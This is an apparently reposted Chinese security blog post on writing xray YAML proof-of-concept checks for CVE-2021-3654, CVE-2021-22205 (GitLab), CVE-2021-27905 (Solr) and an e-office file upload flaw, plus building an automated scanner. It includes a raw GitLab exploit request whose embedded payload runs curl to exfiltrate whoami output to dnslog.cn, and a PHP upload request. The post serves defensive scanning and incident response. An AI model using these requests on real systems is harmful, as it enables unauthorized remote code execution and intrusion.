干货|我的漏洞扫描及安全应急之道

admin 2023年9月14日11:12:52评论43 views字数 5561阅读18分32秒阅读模式

编写POC

以xray为例

学习文档

先学习下相关文档,大家挨个看一遍就行,有个印象即可,不用死记硬背。

如何编写YAML格式POC

POC语法V2版

如何编写高质量的 poc

BugScan 插件开发文档

插件编写

官方公布最基础的POC如下

name: poc-yaml-example-com
# 脚本部分
transport: http
rules:
r1:
request:
method: GET
path: "/"
expression: |
response.status==200 && response.body.bcontains(b'Example Domain')
expression:
r1()
# 信息部分
detail:
author: name(link)
links:
- http://example.com

编写编辑器

参考:https://docs.xray.cool/#/guide/poc?id=vscode

poc实践

CVE-2021-3654

路径处理出了问题,网站域名加上//example.com/%2f..即可进行url跳转

直接get请求,所以poc很简单,有手就行。

name: poc-yaml-novnc-url-redirection-cve-2021-3654
manual: true
transport: http
rules:
- method: GET
path: "//baidu.com/%2f.."
follow_redirects: false
expression: |
response.headers['location']=="//baidu.com/%2f../"
detail:
author: txf(https://github.com/tangxiaofeng7)
links:
- https://seclists.org/oss-sec/2021/q3/188
CVE-2021-22205

exiftool解析造成的rce
一共发送2个请求

干货|我的漏洞扫描及安全应急之道

请求1:

GET /users/sign_in HTTP/1.1
Host: xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

获取csrf-token

请求2:

POST /uploads/user HTTP/1.1
Host: xx
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5
X-CSRF-Token: xxx==
Cookie: xx
Content-Length: 879


------WebKitFormBoundaryIMv3mxRg59TkFSX5
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg

AT&TFORM�DJVMDIRM.�F���޿� !ȑN��ڈ�k�D,q�I�n����"?FORM^DJVUINFO
dINCLshared_anno.iffBG44J���7�*�BG44��BG44
FORMDJVIANTaP(metadata
(Copyright "
" . qx{curl `whoami`.dnslog.cn} .
" b ") )

------WebKitFormBoundaryIMv3mxRg59TkFSX5--

上传图片触发rce。

由于xray目前支持的编码解码有限,不支持hex解码,所以我们直接写的简单点,使用随机字符进行判断,poc很简单,有手就行。

name: poc-yaml-gitlab-cve-2021-22205-rce
set:
r1: randomInt(1, 9999)
r2: randomInt(1, 9999)
manual: true
transport: http
rules:
- method: GET
path: "/users/sign_in"
expression: response.status == 200
search: >-
name="csrf-token" content="(?P<token>.+?)"
- method: POST
path: "/uploads/user"
headers:
X-CSRF-Token: |-
{{token}}
Content-Type: |-
multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5
Accept: "*/*"
body: |-
------WebKitFormBoundaryIMv3mxRg59TkFSX5
Content-Disposition: form-data; name="file"; filename="{{r1}}.jpg"
Content-Type: image/jpeg
{{r2}}
------WebKitFormBoundaryIMv3mxRg59TkFSX5--
expression: response.body.bcontains(b'Failed to process image')

detail:
author: txf(https://github.com/tangxiaofeng7)
links:
- https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released
CVE-2021-27905

这是SSRF漏洞,需要使用反连平台,加上reverse的即可,官方写的很详细了。所以poc很简单,有手就行。

name: poc-yaml-solr-cve-2021-27905-ssrf
manual: true
transport: http
set:
reverse: newReverse()
reverseURL: reverse.url
rules:
- method: GET
path: "/solr/admin/cores?indexInfo=false&wt=json"
expression: |
response.status == 200
search: >-
"name":"(?P<name>.+?)"
- method: POST
path: "/solr/{{name}}/replication/?command=fetchindex&masterUrl={{reverseURL}}"
expression: |
reverse.wait(5)
detail:
author: txf(https://github.com/tangxiaofeng7)
links:
- https://github.com/murataydemir/CVE-2021-27905

0day应急

不管是甲方还是乙方,一旦暴出新漏洞,应急显得非常重要。
大部分人都是直接写poc批量检测内部应用,当然我也不例外。

举个例子:
泛微e-office 文件上传漏洞风险通告(CNVD-2021-49104)

部署靶场环境

影响版本
泛微e-office V9.0
首先虚拟机安装下。
干货|我的漏洞扫描及安全应急之道
安装完成后,默认账号admin,密码为空。

POC构造

Burpsuite原始包文

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 10.211.55.11:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.211.55.11:8080/login.php
Cookie: LOGIN_LANG=cn; PHPSESSID=c57f0b37a12cf9dd61e35b909289d1b9
Pragma: no-cache
Cache-Control: no-cache
Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4
Content-Length: 191

--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test1.php"
Content-Type: image/jpeg

123

--e64bdf16c554bbc109cecef6451c26a4--

访问上传的文件是否生效
干货|我的漏洞扫描及安全应急之道

编写poc

name: poc-yaml-e-office-v9-upload-getshell
manual: true
transport: http
set:
r1: randomLowercase(8)
rules:
r1:
request:
cache: true
method: POST
path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=
headers:
Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4
body: |-
--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="{{r1}}.php"
Content-Type: image/jpeg

{{r1}}
--e64bdf16c554bbc109cecef6451c26a4--
expression: response.status == 200 && response.body.bcontains(b"logo-eoffice.php")
r2:
request:
cache: true
method: GET
path: /images/logo/logo-eoffice.php
expression: response.status == 200 && response.body.bcontains(bytes(r1))
expression: r1() && r2()
detail:
author: test
links:
- https://github.com/chaitin/xray/pull/1540/files
XRAY批量

将需要扫描的url写到url.txt里,然后执行如下命令。

./xray_darwin_amd64 webscan --poc "/Users/txf/poc/e-officev9-upload-getshell.yml" --url-file url.txt --html-output result.txt

干货|我的漏洞扫描及安全应急之道

DIY自动化扫描器

之前看了linglong(一款资产巡航扫描系统)的源码,在他的基础上重构了一些功能。
一起看看我是如何把xray加到自动化扫描器中。

扫描器开关

在linglong的基础上,我为扫描器添加了开关。
干货|我的漏洞扫描及安全应急之道
在代码中定义了一个布尔值来做控制。

端口扫描

跟市面上扫描器意义,使用masscan去扫描存活端口,使用nmap进行端口的指纹识别。
原因:

1.Nmap在扫描数量较大的目标时性能缓慢

2.Masscan在高速率的扫描较大端口范围时结果不太准确
web指纹扫描

直接用的开源的识别工具加到代码里。

漏洞扫描

在进行xray漏洞扫描之前,先定义扫描目标的格式,代码如下:
干货|我的漏洞扫描及安全应急之道

然后调用cmd终端执行xray扫描即可。
干货|我的漏洞扫描及安全应急之道

结果通知

直接写一个企业微信机器人的通知。
干货|我的漏洞扫描及安全应急之道

当然也可以用xray自带的webhook通知,没用过,这里感兴趣的可以试试。

端口指纹界面:
干货|我的漏洞扫描及安全应急之道

漏洞界面:

干货|我的漏洞扫描及安全应急之道

当然如果是企业自查xray肯定可以开启扫描,如果是SRC扫描的话不建议开xray去扫描,动静太大了。

尾声

如果针对外网扫描的话,建议再加上waf识别,cdn识别,否则效率会很低,还容易被封ip。
总的来说挖掘SRC,更重要的是信息收集。
这就是目前安全应急和漏洞扫描的方法,欢迎大家积极交流。

作者:tangxiaofeng7, 转载于FreeBuf.COM

往期推荐

绝路逢生出0day——SYSTEM权限内网漫游

对某法院授权渗透测试

漏洞扫描工具Nessus详细使用教程

Nessus中文报告自动化脚本

一款功能强大的模块化可定制字典生成器

从交换机安全配置看常见局域网攻击

原文始发于微信公众号(菜鸟学信安):干货|我的漏洞扫描及安全应急之道

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月14日11:12:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   干货|我的漏洞扫描及安全应急之道http://cn-sec.com/archives/2036748.html

发表评论

匿名网友 填写信息